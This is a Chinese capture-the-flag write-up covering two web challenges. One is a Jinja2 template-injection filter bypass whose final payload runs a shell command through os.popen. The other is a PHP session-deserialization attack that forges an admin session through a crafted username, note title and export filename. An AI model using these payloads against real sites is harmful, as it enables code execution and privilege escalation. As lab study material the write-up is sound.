五月公开赛writeup|web篇

WriteUp 2年前 (2022) admin
454 0 0


1. TemplatePlay

五月公开赛writeup|web篇
五月公开赛writeup|web篇


1. 题目考查技术点


jinja2 ssti bypass


2. 题目详细解题步骤


题目设计思路:通过前端代码发现,功能点和白名单user-agent ->测试存在ssti->bypass 拦截->通过命令执行->获取flag。


五月公开赛writeup|web篇


解题步骤:

1. 访问web网站,通过查看sources 可以看到加载了user-agent.js文件,能看到白名单的user-agent以及一个接口。

五月公开赛writeup|web篇

直接访问该接口会报错,所以把ua修改成js代码内的ua,再次访问

五月公开赛writeup|web篇

回显了string的值,尝试判断是否存在ssti,2*4被解析,所以存在ssti。

 

五月公开赛writeup|web篇

尝试构造利用链,这里拦截规则为string 的花括号的内的值不能出现,[],(),””,’’,|。等特殊字符,并且花括号内如果出现 . 符号,则 第一个.符号前的值不能超过4位。


五月公开赛writeup|web篇

五月公开赛writeup|web篇

常见的payload 均不可用。通过阅读jinja源码可以发现,jinja2内的undefined ,并非是python本身的而是自身修改过的并且继承自object,这样就可以直接使用此对象查找魔术方法,构造利用链。


五月公开赛writeup|web篇


最终payload

{{ads.__init__.__globals__.__builtins__.__import__(“os”).popen(“cat+config/flag.txt”).read()}}

五月公开赛writeup|web篇



2.MyNotes

五月公开赛writeup|web篇
五月公开赛writeup|web篇


1. 题目考查技术点

  • 逻辑漏洞

  • session反序列化

2. 题目详细解题步骤

进入题目,是一个在线写笔记的服务:

五月公开赛writeup|web篇

随便登录一个用户进入:

五月公开赛writeup|web篇

Add note可以创建笔记:

五月公开赛writeup|web篇

还有一个Admin页面,但是只有管理员可以访问:

五月公开赛writeup|web篇

Export notes应该是可以打包下载文件,但是咱是下不了。
题目给出了源码www.zip,我们来分析一下,主要是以下几个源码:

五月公开赛writeup|web篇


flag.php:

      <section>
       <h2>Admin Page</h2>
       <p>
         <?php
         if (is_admin()) {
           echo "Welcome, Admin, this is your secret: <code>" . file_get_contents('/flag') . "</code>";
        } else {
           echo "You are not an admin :(";
        }
         ?>
       </p>
     </section>

可知,只有我们登上了admin,才能得到flag。

config.php:

<?php
define('TEMP_DIR', '/var/www/tmp');

init.php:

<?php
error_reporting(0);

require_once('config.php');
require_once('lib.php');

session_save_path(TEMP_DIR);  // /var/www/tmp
session_start();

可知session的存放路径为TEMP_DIR,即/var/www/tmp。

lib.php:

<?php
function redirect($path) {
 header('Location: ' . $path);
 exit();
}

// utility functions
function e($str) {
 return htmlspecialchars($str, ENT_QUOTES);
}

// user-related functions
function validate_user($user) {
 if (!is_string($user)) {
   return false;
}

 return preg_match('/A[0-9A-Z_-]{4,64}z/i', $user);
}

function is_logged_in() {
 return isset($_SESSION['user']) && !empty($_SESSION['user']);
}

function set_user($user) {  // 在session中设置user
 $_SESSION['user'] = $user;
}

function get_user() {   // 获取session中的user
 return $_SESSION['user'];
}

function is_admin() {
 if (!isset($_SESSION['admin'])) {
   return false;
}
 return $_SESSION['admin'] === true;   // 判断是否是admin
}

// note-related functions
function get_notes() {
 if (!isset($_SESSION['notes'])) {
   $_SESSION['notes'] = [];
}
 return $_SESSION['notes'];
}

function add_note($title, $body) {
 $notes = get_notes();
 array_push($notes, [
   'title' => $title,
   'body' => $body,
   'id' => hash('sha256', microtime())
]);
 $_SESSION['notes'] = $notes;
}

function find_note($notes, $id) {
 for ($index = 0; $index < count($notes); $index++) {
   if ($notes[$index]['id'] === $id) {
     return $index;
  }
}
 return FALSE;
}

function delete_note($id) {
 $notes = get_notes();
 $index = find_note($notes, $id);
 if ($index !== FALSE) {
   array_splice($notes, $index, 1);
}
 $_SESSION['notes'] = $notes;
}

可知,目标题目会把我们登陆的用户名、是否为admin、编写的notes、notes的id/title/body、等信息存放在session中,由于php默认的session序列化引擎(session.serialize_handler)为php,所以,session中的信息经反序列化后得到的数据格式应为 键值|序列化后的值。即admin|b:1;会被反序列化成admin==bool(true),就会是$_SESSION["admin"]=true 了。

export.php:

<?php
require_once('init.php');

if (!is_logged_in()) {
 redirect('/?page=home');
}

$notes = get_notes();

if (!isset($_GET['type']) || empty($_GET['type'])) {
 $type = 'zip';
} else {
 $type = $_GET['type'];
}

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;   // whoami-9a989aea898.zip
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;    // /var/www/tmp/whoami-9a989aea898.zip

if ($type === 'tar') {
 $archive = new PharData($path);
 $archive->startBuffering();
} else {
 // use zip as default
 $archive = new ZipArchive();
 $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}

for ($index = 0; $index < count($notes); $index++) {
 $note = $notes[$index];
 $title = $note['title'];
 $title = preg_replace('/[^!-~]/', '-', $title);
 $title = preg_replace('#[/\?*.]#', '-', $title); // delete suspicious characters
 $archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

if ($type === 'tar') {
 $archive->stopBuffering();
} else {
 $archive->close();
}

header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);

可用来打包下载我们创建的nodes,这里会将我们session中的nodes里的信息写入到打包文件中,并将打包完成的文件生成在/var/www/tmp目录里面,与我们的session文件存放的路径一样。而且下载的文件名是可控的,即 用户名+bin2hex(random_bytes(8))+type,前提是要先通过GET方法指导下载的type。

那我们的思路来了,我们先通过指定用户名为 sess_ 并然后登录进去,然后我们再在Add notes中创建一个笔记,title为 |N;admin|b:1;

  • |N; 用来闭合前面的杂乱数据。

五月公开赛writeup|web篇

这样反序列化结果便可为:admin==bool(true)

最后在访问export.php?type=.下载文件,便可使得这个.与前面的.拼接成..被替换为空,$filename也就成为了session文件名了:

五月公开赛writeup|web篇

得到的文件名为sess_-ed13a429014accec

五月公开赛writeup|web篇

sess_-ed13a429014accec文件中的内容也可以看出来,要想成功将admin|b:1;给反序列化则必须要在其前面加上个 |N; 用来闭合前面的杂乱数据。

然后,我们将cookie里的PHPSESSID值改为-ed13a429014accec即可触发session反序列化,将sess_-ed13a429014accec里的admin|b:1;给反序列化为admin==bool(true),成功登录admin并获得flag:

五月公开赛writeup|web篇


五月公开赛writeup|web篇

END


原文始发于微信公众号(胖哈勃):五月公开赛writeup|web篇

版权声明:admin 发表于 2022年5月16日 下午6:31。
转载请注明:五月公开赛writeup|web篇 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...